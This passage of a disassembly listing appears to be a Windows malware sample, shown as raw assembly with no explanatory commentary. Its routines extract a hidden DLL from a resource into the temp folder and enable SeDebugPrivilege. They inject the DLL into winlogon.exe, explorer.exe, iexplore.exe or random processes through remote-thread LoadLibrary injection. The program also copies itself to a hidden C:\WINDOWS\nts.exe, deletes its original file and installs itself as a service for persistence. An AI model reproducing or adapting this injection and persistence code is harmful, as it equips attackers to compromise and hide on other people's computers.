aResourceHereSi ; "resource here, size: %i\n" call nullsub_4 pop ecx pop ecx push esi push 0 call dword_411D5C ; LoadResource mov [ebp+var_8], eax test eax, eax jz loc_446E78 push [ebp+var_8] call dword_411D60 ; LockResource mov [ebp+var_C], eax test eax, eax jz loc_446E78 push 80h push ebx call dword_411D28 ; SetFileAttributesA push offset aWb ; "wb+" push ebx call sub_448281 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_446E28 push ebx push offset aFileSNotCreate ; "file <%s> NOT created\n" call nullsub_4 pop ecx pop ecx xor eax, eax jmp short loc_446E78 ; --------------------------------------------------------------------------- loc_446E28: ; CODE XREF: sub_446D74+A1j push ebx push offset aFileSCreated ; "file <%s> created\n" call nullsub_4 pop ecx pop ecx push edi push 1 mov eax, [ebp+var_4] push eax push [ebp+var_C] call sub_4486E1 add esp, 10h mov [ebp+var_10], eax push edi call sub_4484E1 pop ecx push [ebp+var_10] push ebx push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n" call nullsub_4 add esp, 0Ch push 7 push ebx call dword_411D28 ; SetFileAttributesA cmp [ebp+var_10], 1 jz short loc_446E75 xor eax, eax jmp short loc_446E78 ; --------------------------------------------------------------------------- loc_446E75: ; CODE XREF: sub_446D74+FBj xor eax, eax inc eax loc_446E78: ; CODE XREF: sub_446D74+3Bj ; sub_446D74+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_446D74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446E7F proc near ; CODE XREF: DMN1:loc_4474D2p var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h push ebp mov ebp, esp mov eax, 1004h call sub_4486B1 cmp dword_411050, 0 jz short loc_446ED5 push offset aR ; "r" push offset dword_412970 call sub_448281 pop ecx pop ecx mov [ebp+var_1004], eax test eax, eax jz short loc_446ED5 push offset dword_412970 push offset aOldDllS ; "old DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push [ebp+var_1004] call sub_4484E1 pop ecx xor eax, eax inc eax jmp loc_446FBF ; --------------------------------------------------------------------------- loc_446ED5: ; CODE XREF: sub_446E7F+14j ; sub_446E7F+2Fj push offset dword_412970 push 0FFFh call dword_411D1C ; GetTempPathA push offset aNts_ ; "nts_" push offset dword_412970 call sub_448611 pop ecx pop ecx push offset a000_tmp ; "000.tmp" push offset dword_412970 call sub_448611 pop ecx pop ecx push offset dword_412970 push offset aCheckingDllS ; "checking DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push offset dword_412970 call sub_446D74 pop ecx test eax, eax jz short loc_446F47 push offset dword_412970 push offset aDllFoundS ; " DLL found: <%s>\n" call nullsub_4 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_446FBF ; --------------------------------------------------------------------------- loc_446F47: ; CODE XREF: sub_446E7F+A6j lea eax, [ebp+var_1000] push eax push 0FFFh call dword_411D1C ; GetTempPathA push offset dword_412970 push 0 push offset aNts_ ; "nts_" lea eax, [ebp+var_1000] push eax call dword_411D20 ; GetTempFileNameA push offset dword_412970 push offset aTryingDllS ; "trying DLL: <%s>\n" call nullsub_4 pop ecx pop ecx push offset dword_412970 call sub_446D74 pop ecx test eax, eax jz short loc_446FB2 push offset dword_412970 push offset aDllOkS ; "DLL ok: <%s>\n" call nullsub_4 pop ecx pop ecx mov dword_411050, 1 xor eax, eax inc eax jmp short loc_446FBF ; --------------------------------------------------------------------------- loc_446FB2: ; CODE XREF: sub_446E7F+111j push offset aDllNotExtracte ; "DLL not extracted.\n" call nullsub_4 pop ecx xor eax, eax loc_446FBF: ; CODE XREF: sub_446E7F+51j ; sub_446E7F+C6j ... mov esp, ebp pop ebp retn sub_446E7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446FC3 proc near ; CODE XREF: sub_447167+6p ; sub_44722F+12p ... var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_1C] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_411E78 ; LookupPrivilegeValueA test eax, eax jz short loc_447039 call dword_411D64 ; GetCurrentProcess lea edx, [ebp+var_14] push edx push 28h push eax call dword_411E7C ; OpenProcessToken test eax, eax jz short loc_447039 mov [ebp+var_10], 1 mov eax, [ebp+var_1C] mov edx, [ebp+var_18] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], 2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+var_14] call dword_411E80 ; AdjustTokenPrivileges call dword_411CE8 ; RtlGetLastWin32Error test eax, eax jz short loc_447036 xor eax, eax jmp short loc_447039 ; --------------------------------------------------------------------------- loc_447036: ; CODE XREF: sub_446FC3+6Dj xor eax, eax inc eax loc_447039: ; CODE XREF: sub_446FC3+19j ; sub_446FC3+30j ... mov esp, ebp pop ebp retn sub_446FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44703D proc near ; CODE XREF: sub_447167+34p var_1008 = byte ptr -1008h var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_4486B1 push ebx push esi push edi push 40h push 1000h push 1000h push 0 push [ebp+arg_0] call dword_411D68 ; VirtualAllocEx mov esi, eax test eax, eax jz loc_447160 push offset aVirtualallocex ; "VirtualAllocEx() ok\n" call nullsub_4 pop ecx lea ebx, [ebp+var_1000] mov byte ptr [ebx], 68h inc ebx mov eax, esi add eax, 50h mov [ebx], eax add ebx, 4 mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 40h mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 50h inc ebx mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 44h mov [ebx], eax push offset aKernel32_dll ; "kernel32.dll" call dword_411D6C ; GetModuleHandleA mov edi, eax lea ebx, [ebp+var_1000] add ebx, 40h push offset aLoadlibrarya ; "LoadLibraryA" push edi call dword_411D70 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aExitthread ; "ExitThread" push edi call dword_411D70 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aGetlasterror ; "GetLastError" push edi call dword_411D70 ; GetProcAddress mov [ebx], eax lea ebx, [ebp+var_1000] add ebx, 50h push [ebp+arg_4] push ebx call sub_4485F1 pop ecx pop ecx lea eax, [ebp+var_1004] push eax push 1000h lea eax, [ebp+var_1000] push eax push esi push [ebp+arg_0] call dword_411D74 ; WriteProcessMemory test eax, eax jz short loc_447160 push offset aWriteprocessme ; "WriteProcessMemory() ok\n" call nullsub_4 pop ecx push [ebp+arg_4] push offset aS ; "<%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp+var_1008] push eax push 0 push 0 push esi push 0 push 0 push [ebp+arg_0] call dword_411D78 ; CreateRemoteThread loc_447160: ; CODE XREF: sub_44703D+2Bj ; sub_44703D+EEj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44703D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447167 proc near ; CODE XREF: sub_44722F+6Fp ; sub_4472FE+5Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi call sub_446FC3 push [ebp+arg_0] push 0 push 1F0FFFh call dword_411D7C ; OpenProcess mov ebx, eax push offset aProcessOpened_ ; "process opened.\n" call nullsub_4 pop ecx test ebx, ebx jz loc_447227 push [ebp+arg_4] push ebx call sub_44703D pop ecx pop ecx mov esi, eax test esi, esi jz short loc_447220 push esi push offset aThreadInjected ; "thread injected (%i).\n" call nullsub_4 pop ecx pop ecx push 0FFFFFFFFh push esi call dword_411D34 ; WaitForSingleObject lea eax, [ebp+var_4] push eax push esi call dword_411D80 ; GetExitCodeThread push [ebp+var_4] push offset aThreadComplete ; "thread complete (%i).\n" call nullsub_4 pop ecx pop ecx push esi call dword_411CF8 ; CloseHandle push ebx call dword_411CF8 ; CloseHandle cmp [ebp+var_4], 20h jnb short loc_4471F0 xor eax, eax jmp short loc_447229 ; --------------------------------------------------------------------------- loc_4471F0: ; CODE XREF: sub_447167+83j push [ebp+arg_4] push offset aDllInjected ; "DLL injected!\n" call nullsub_4 pop ecx pop ecx cmp dword_411054, 0 jz short loc_44721B push dword_411054 call dword_411CF8 ; CloseHandle and dword_411054, 0 loc_44721B: ; CODE XREF: sub_447167+9Fj xor eax, eax inc eax jmp short loc_447229 ; --------------------------------------------------------------------------- loc_447220: ; CODE XREF: sub_447167+3Fj push ebx call dword_411CF8 ; CloseHandle loc_447227: ; CODE XREF: sub_447167+2Aj xor eax, eax loc_447229: ; CODE XREF: sub_447167+87j ; sub_447167+B7j pop esi pop ebx mov esp, ebp pop ebp retn sub_447167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44722F proc near ; CODE XREF: DMN1:004474ECp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_446FC3 push 0 push 2 call sub_447C1D ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz loc_4472F7 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_447C23 ; Process32First loc_447270: ; CODE XREF: sub_44722F+BDj lea eax, [ebp+var_104] push eax push ebx call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_4472DD push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithS ; "trying <%s> with <%s>\n" call nullsub_4 add esp, 0Ch push esi push [ebp+var_120] call sub_447167 pop ecx pop ecx test eax, eax jz short loc_4472C8 lea eax, [ebp+var_104] push eax push offset aS ; "<%s>\n" call nullsub_4 pop ecx pop ecx push edi call dword_411CF8 ; CloseHandle xor eax, eax inc eax jmp short loc_4472F7 ; --------------------------------------------------------------------------- loc_4472C8: ; CODE XREF: sub_44722F+78j push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n" call nullsub_4 add esp, 0Ch loc_4472DD: ; CODE XREF: sub_44722F+51j lea eax, [ebp+var_128] push eax push edi call sub_447C29 ; Process32Next test eax, eax jnz short loc_447270 push edi call dword_411CF8 ; CloseHandle xor eax, eax loc_4472F7: ; CODE XREF: sub_44722F+24j ; sub_44722F+97j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44722F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4472FE proc near ; CODE XREF: DMN1:00447501p var_128 = dword ptr -128h var_120 = dword ptr -120h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] push offset dword_411058 call sub_446D40 pop ecx mov ecx, 100h cdq idiv ecx lea esi, [edx+1] call sub_446FC3 jmp short loc_447396 ; --------------------------------------------------------------------------- loc_44732A: ; CODE XREF: sub_4472FE+9Aj push 0 push 2 call sub_447C1D ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz short loc_44739C mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_447C23 ; Process32First loc_447350: ; CODE XREF: sub_4472FE+8Fj dec esi test esi, esi jnz short loc_44737E push ebx push [ebp+var_120] call sub_447167 pop ecx pop ecx test eax, eax jz short loc_447373 push edi call dword_411CF8 ; CloseHandle xor eax, eax inc eax jmp short loc_44739C ; --------------------------------------------------------------------------- loc_447373: ; CODE XREF: sub_4472FE+67j push edi call dword_411CF8 ; CloseHandle xor eax, eax jmp short loc_44739C ; --------------------------------------------------------------------------- loc_44737E: ; CODE XREF: sub_4472FE+55j lea eax, [ebp+var_128] push eax push edi call sub_447C29 ; Process32Next test eax, eax jnz short loc_447350 push edi call dword_411CF8 ; CloseHandle loc_447396: ; CODE XREF: sub_4472FE+2Aj test esi, esi jnz short loc_44732A xor eax, eax loc_44739C: ; CODE XREF: sub_4472FE+39j ; sub_4472FE+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4472FE endp ; =============== S U B R O U T I N E ======================================= sub_4473A3 proc near ; CODE XREF: DMN1:0044744Bp ; DMN1:0044751Bp push ebx push dword_41296C call dword_411D50 ; ResetEvent push 0 push 0 push offset sub_405CF6 call sub_448891 add esp, 0Ch mov ebx, eax push 2710h mov eax, ebx push eax call dword_411D34 ; WaitForSingleObject test eax, eax jz short loc_4473F8 push dword_41104C call sub_442443 pop ecx mov dword_41104C, 1 mov eax, ebx push eax call dword_411CF8 ; CloseHandle xor eax, eax jmp short loc_447404 ; --------------------------------------------------------------------------- loc_4473F8: ; CODE XREF: sub_4473A3+30j mov eax, ebx push eax call dword_411CF8 ; CloseHandle xor eax, eax inc eax loc_447404: ; CODE XREF: sub_4473A3+53j pop ebx retn sub_4473A3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_444677 test eax, eax jnz loc_4475EC call sub_4445D9 test eax, eax jnz loc_4475EC call sub_446FC3 push dword_41296C call dword_411D50 ; ResetEvent push 3E8h push dword_41296C call dword_411D34 ; WaitForSingleObject call sub_4473A3 test eax, eax jz short loc_447484 push 3E8h call dword_411D00 ; Sleep push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"... call nullsub_4 pop ecx push 0FFFFFFFFh push dword_41296C call dword_411D34 ; WaitForSingleObject push dword_41296C call dword_411D50 ; ResetEvent loc_447484: ; CODE XREF: DMN1:00447452j and dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 4 mov esi, [ebp-0Ch] loc_447492: ; CODE XREF: DMN1:004475C0j push dword_41296C call dword_411D50 ; ResetEvent cmp esi, 2 ja short loc_4474CE test esi, esi jz short loc_4474B3 cmp esi, 1 jz short loc_4474BC cmp esi, 2 jz short loc_4474C5 jmp short loc_4474D2 ; --------------------------------------------------------------------------- loc_4474B3: ; CODE XREF: DMN1:004474A5j mov dword ptr [ebp-4], offset aIexplore_exe ; "iexplore.exe" jmp short loc_4474D2 ; --------------------------------------------------------------------------- loc_4474BC: ; CODE XREF: DMN1:004474AAj mov dword ptr [ebp-4], offset aWinlogon_exe ; "winlogon.exe" jmp short loc_4474D2 ; --------------------------------------------------------------------------- loc_4474C5: ; CODE XREF: DMN1:004474AFj mov dword ptr [ebp-4], offset aExplorer_exe ; "explorer.exe" jmp short loc_4474D2 ; --------------------------------------------------------------------------- loc_4474CE: ; CODE XREF: DMN1:004474A1j and dword ptr [ebp-4], 0 loc_4474D2: ; CODE XREF: DMN1:004474B1j ; DMN1:004474BAj ... call sub_446E7F test eax, eax jz loc_4475C6 cmp esi, 2 ja short loc_4474F7 push offset dword_412970 push dword ptr [ebp-4] call sub_44722F pop ecx pop ecx mov ebx, eax jmp short loc_447512 ; --------------------------------------------------------------------------- loc_4474F7: ; CODE XREF: DMN1:004474E2j mov edi, 64h loc_4474FC: ; CODE XREF: DMN1:00447510j push offset dword_412970 call sub_4472FE pop ecx mov ebx, eax test ebx, ebx jnz short loc_447512 dec edi test edi, edi jg short loc_4474FC loc_447512: ; CODE XREF: DMN1:004474F5j ; DMN1:0044750Bj inc esi test ebx, ebx jz loc_447599 call sub_4473A3 test eax, eax jz short loc_447599 push 3E8h call dword_411D00 ; Sleep push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n" call nullsub_4 pop ecx jmp short loc_447549 ; --------------------------------------------------------------------------- loc_44753C: ; CODE XREF: DMN1:0044755Fj call sub_4445D9 test eax, eax jnz loc_4475EC loc_447549: ; CODE XREF: DMN1:0044753Aj push 2BCh push dword_41296C call dword_411D34 ; WaitForSingleObject cmp eax, 102h jz short loc_44753C push dword_41296C call dword_411D50 ; ResetEvent mov esi, [ebp-0Ch] call sub_4445D9 test eax, eax jz short loc_44758E push offset aDying ; "dying\n" call nullsub_4 pop ecx push 1 call sub_448961 pop ecx jmp short loc_4475EC ; --------------------------------------------------------------------------- loc_44758E: ; CODE XREF: DMN1:00447577j push offset aDllStopped___ ; "DLL stopped...\n" call nullsub_4 pop ecx loc_447599: ; CODE XREF: DMN1:00447515j ; DMN1:00447522j call sub_444677 test eax, eax jnz short loc_4475EC cmp dword_411050, 0 jz short loc_4475BD push offset dword_412970 call sub_448A11 pop ecx and dword_411050, 0 loc_4475BD: ; CODE XREF: DMN1:004475A9j cmp esi, [ebp-8] jle loc_447492 loc_4475C6: ; CODE XREF: DMN1:004474D9j push offset aInjectionthrea ; "InjectionThread complete\n" call nullsub_4 pop ecx cmp dword_411050, 0 jz short loc_4475EC push offset dword_412970 call sub_448A11 pop ecx and dword_411050, 0 loc_4475EC: ; CODE XREF: DMN1:00447416j ; DMN1:00447423j ... call sub_448921 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebx push 0 push 0 push 1 push 0 call dword_411D40 ; CreateEventA mov dword_41296C, eax push 0 push 0 push offset sub_406485 call sub_448891 add esp, 0Ch mov ebx, eax push 0FFFFFFFFh mov eax, ebx push eax call dword_411D34 ; WaitForSingleObject mov eax, ebx push eax call dword_411CF8 ; CloseHandle push 0 push 0 push offset sub_40356A call sub_448891 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 1F4h call dword_411D00 ; Sleep push 0 push 0 push offset sub_404967 call sub_448891 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 ; WaitForSingleObject pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447672 proc near ; CODE XREF: sub_447C0A+1p var_2004 = byte ptr -2004h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2004h call sub_4486B1 push ebx push esi push edi and [ebp+var_4], 0 xor esi, esi mov off_412958, offset aNts ; "NTS" call sub_441FBD call sub_4420E6 call sub_442018 push offset dword_413970 call dword_411CC8 ; InitializeCriticalSection call sub_442F0F mov dword_412934, eax call dword_411D90 ; GetCommandLineA push eax call sub_4421AB pop ecx cmp dword_411000, 4 jnz loc_4477B0 push offset aUpdate_0 ; "*update" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jnz loc_4477B0 call sub_444585 mov [ebp+var_8], eax call sub_4450E3 mov eax, dword_411018 push eax push [ebp+var_8] push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n" call nullsub_4 add esp, 0Ch push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n" call nullsub_4 pop ecx push 1770h call dword_411D00 ; Sleep call sub_445FED push 0FA0h call dword_411D00 ; Sleep call sub_445FED call sub_444606 and [ebp+var_C], 0 push dword_4128A4 push dword_4128B0 push dword_4128AC push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n" call nullsub_4 add esp, 10h lea eax, [ebp+var_C] push eax push 1 push 0 push dword_4128AC call sub_4446A4 add esp, 10h test eax, eax jnz short loc_4477A9 push 0 push 1 push 0 push dword_4128B0 call sub_4446A4 add esp, 10h test eax, eax jnz short loc_4477A9 push 0 push 1 push 0 push dword_4128A4 call sub_4446A4 add esp, 10h test eax, eax jz short loc_4477B0 loc_4477A9: ; CODE XREF: sub_447672+105j ; sub_447672+11Dj xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_4477B0: ; CODE XREF: sub_447672+58j ; sub_447672+71j ... call sub_44508F test eax, eax jz short loc_4477C0 xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_4477C0: ; CODE XREF: sub_447672+145j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jz loc_4478A3 push offset aCopying___ ; "copying...\n" call nullsub_4 pop ecx push 80h push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call dword_411D28 ; SetFileAttributesA push 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D24 ; CopyFileA test eax, eax jz loc_447895 push 7 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" call dword_411D28 ; SetFileAttributesA lea edi, [ebp+var_2004] mov byte ptr [edi], 22h inc edi push dword_4128A4 push edi call sub_4485F1 pop ecx pop ecx push dword_4128A4 call sub_4485D1 pop ecx add edi, eax mov byte ptr [edi], 22h inc edi mov byte ptr [edi], 0 inc edi lea eax, [ebp+var_2004] push eax push offset aCmdlineS ; "cmdline: <%s>\n" call nullsub_4 pop ecx pop ecx call sub_4450E3 lea eax, [ebp+var_2004] push eax call sub_446AAB pop ecx test eax, eax jz short loc_44787A xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_44787A: ; CODE XREF: sub_447672+1FFj push offset aCreateprocessF ; "CreateProcess() failed %%-(\n" call nullsub_4 pop ecx call sub_44508F test eax, eax jz short loc_4478A0 xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_447895: ; CODE XREF: sub_447672+197j push offset aCopyingFailed ; "copying failed %%-(\n" call nullsub_4 pop ecx loc_4478A0: ; CODE XREF: sub_447672+21Aj xor esi, esi inc esi loc_4478A3: ; CODE XREF: sub_447672+161j call sub_443217 call sub_446780 push 0 push 0 call sub_44335D pop ecx pop ecx mov dword_411004, eax push offset aInitializingWi ; "initializing winsock library...\n" call nullsub_4 pop ecx call sub_44226D cmp dword_411000, 1 jle loc_447974 mov eax, dword_4128A8 cmp byte ptr [eax], 2Ah jz loc_447974 push 80h push dword_4128A8 call dword_411D28 ; SetFileAttributesA push dword_4128A8 call dword_411D4C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_447958 push dword_4128A8 push offset aRemovingS ; "removing: <%s>\n" call nullsub_4 pop ecx pop ecx mov edi, 0Ah jmp short loc_447951 ; --------------------------------------------------------------------------- loc_447925: ; CODE XREF: sub_447672+2E4j push 80h push dword_4128A8 call dword_411D28 ; SetFileAttributesA push dword_4128A8 call dword_411D18 ; DeleteFileA test eax, eax jnz short loc_447958 push 3E8h call dword_411D00 ; Sleep loc_447951: ; CODE XREF: sub_447672+2B1j dec edi mov eax, edi test eax, eax jnz short loc_447925 loc_447958: ; CODE XREF: sub_447672+298j ; sub_447672+2D2j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_447974 mov [ebp+var_4], 1 loc_447974: ; CODE XREF: sub_447672+262j ; sub_447672+270j ... push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_4479D2 push offset asc_40E58D ; "**" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_4479D2 push offset aWaiting___ ; "*** waiting...\n" call nullsub_4 pop ecx mov edi, 0Ah loc_4479AE: ; CODE XREF: sub_447672+353j call sub_445C39 test eax, eax jz short loc_4479C7 push 1F4h call dword_411D00 ; Sleep dec edi test edi, edi jnz short loc_4479AE loc_4479C7: ; CODE XREF: sub_447672+343j push offset aWaitingComplet ; "*** waiting complete...\n" call nullsub_4 pop ecx loc_4479D2: ; CODE XREF: sub_447672+315j ; sub_447672+32Aj call sub_445C39 mov ebx, eax test ebx, ebx jnz short loc_447A2B push offset aNoRegisteredSe ; "no registered service, " call nullsub_4 pop ecx push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_447A14 mov [ebp+var_4], 1 push offset aRegisterItAndR ; "register it and restart\n" call nullsub_4 pop ecx jmp loc_447AB5 ; --------------------------------------------------------------------------- loc_447A14: ; CODE XREF: sub_447672+389j push offset aDonTRegisterIt ; "DON'T register it\n" call nullsub_4 pop ecx and [ebp+var_4], 0 xor esi, esi inc esi jmp loc_447AB5 ; --------------------------------------------------------------------------- loc_447A2B: ; CODE XREF: sub_447672+369j push offset aRegisteredServ ; "registered service is here...\n" call nullsub_4 pop ecx call sub_445C83 test eax, eax jz short loc_447A46 xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_447A46: ; CODE XREF: sub_447672+3CBj push offset aRegisteredSe_0 ; "registered service is not running.\n" call nullsub_4 pop ecx call sub_445044 test eax, eax jnz short loc_447AB5 push offset aInstallingServ ; "installing service, res=" call nullsub_4 pop ecx call sub_445EAB mov [ebp+var_8], eax push [ebp+var_8] push offset aI ; "%i\n" call nullsub_4 pop ecx pop ecx call sub_446032 test eax, eax jnz short loc_447A8A call sub_446108 loc_447A8A: ; CODE XREF: sub_447672+411j call sub_4450E3 push offset aStartingServic ; "starting service...\n" call nullsub_4 pop ecx call sub_445DD7 test eax, eax jz short loc_447AAA xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_447AAA: ; CODE XREF: sub_447672+42Fj push offset aRegisteredSe_1 ; "registered service is not running, unre"... call nullsub_4 pop ecx loc_447AB5: ; CODE XREF: sub_447672+39Dj ; sub_447672+3B4j ... push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_447AF6 cmp [ebp+var_4], 0 jz short loc_447AF6 test ebx, ebx jnz short loc_447AF6 push offset aInstallingSe_0 ; "installing service...\n" call nullsub_4 pop ecx call sub_445EAB test eax, eax jz short loc_447AF6 push offset aServiceInstall ; "service installed ok...\n" call nullsub_4 pop ecx xor ebx, ebx inc ebx loc_447AF6: ; CODE XREF: sub_447672+456j ; sub_447672+45Cj ... test ebx, ebx jz short loc_447B03 call sub_445044 test eax, eax jz short loc_447B2D loc_447B03: ; CODE XREF: sub_447672+486j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_447B5D push offset asc_40E58D ; "**" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_447B5D loc_447B2D: ; CODE XREF: sub_447672+48Fj push offset aStartingServic ; "starting service...\n" call nullsub_4 pop ecx call sub_4450E3 call sub_445DD7 test eax, eax jz short loc_447B4D xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_447B4D: ; CODE XREF: sub_447672+4D2j call sub_44508F test eax, eax jz short loc_447B5D xor eax, eax jmp loc_447C03 ; --------------------------------------------------------------------------- loc_447B5D: ; CODE XREF: sub_447672+4A4j ; sub_447672+4B9j ... call sub_445C39 test eax, eax jz short loc_447BB4 call sub_445044 test eax, eax jz short loc_447BB4 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_447BB4 push offset asc_40E58D ; "**" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jz short loc_447BB4 push offset aInitializingSe ; "initializing service startup sequence.."... call nullsub_4 pop ecx call sub_446A4A test eax, eax jz short loc_447BB1 xor eax, eax jmp short loc_447C03 ; --------------------------------------------------------------------------- loc_447BB1: ; CODE XREF: sub_447672+539j xor esi, esi inc esi loc_447BB4: ; CODE XREF: sub_447672+4F2j ; sub_447672+4FBj ... push offset aNotDaemonized_ ; "not daemonized...\n" call nullsub_4 pop ecx test esi, esi jz short loc_447BCF push dword_4128A4 call sub_4466F5 pop ecx loc_447BCF: ; CODE XREF: sub_447672+54Fj call sub_44508F test eax, eax jz short loc_447BDC xor eax, eax jmp short loc_447C03 ; --------------------------------------------------------------------------- loc_447BDC: ; CODE XREF: sub_447672+564j push 0 push 0 push offset sub_406677 call sub_448891 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 ; WaitForSingleObject push offset dword_40E000 call nullsub_4 pop ecx xor eax, eax loc_447C03: ; CODE XREF: sub_447672+139j ; sub_447672+149j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_447672 endp ; =============== S U B R O U T I N E ======================================= sub_447C0A proc near ; CODE XREF: DMN1:00448AE2p push ebx call sub_447672 mov ebx, eax call sub_4450E3 mov eax, ebx pop ebx retn 10h sub_447C0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C1D proc near ; CODE XREF: sub_44722F+1Bp ; sub_4472FE+30p jmp dword_411D84 sub_447C1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C23 proc near ; CODE XREF: sub_44722F+3Cp ; sub_4472FE+4Dp jmp dword_411D88 sub_447C23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C29 proc near ; CODE XREF: sub_44722F+B6p ; sub_4472FE+88p jmp dword_411D8C sub_447C29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C2F proc near ; CODE XREF: sub_44226D+1Ap ; sub_44226D+34p jmp dword_411E88 sub_447C2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C35 proc near ; CODE XREF: DMN1:004422D1p jmp dword_411E8C sub_447C35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C3B proc near ; CODE XREF: sub_4422DA+Bp ; DMN1:0044235Ep ... jmp dword_411E90 sub_447C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C41 proc near ; CODE XREF: sub_4422DA+36p ; sub_4422DA+53p ... jmp dword_411E94 sub_447C41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_447C47 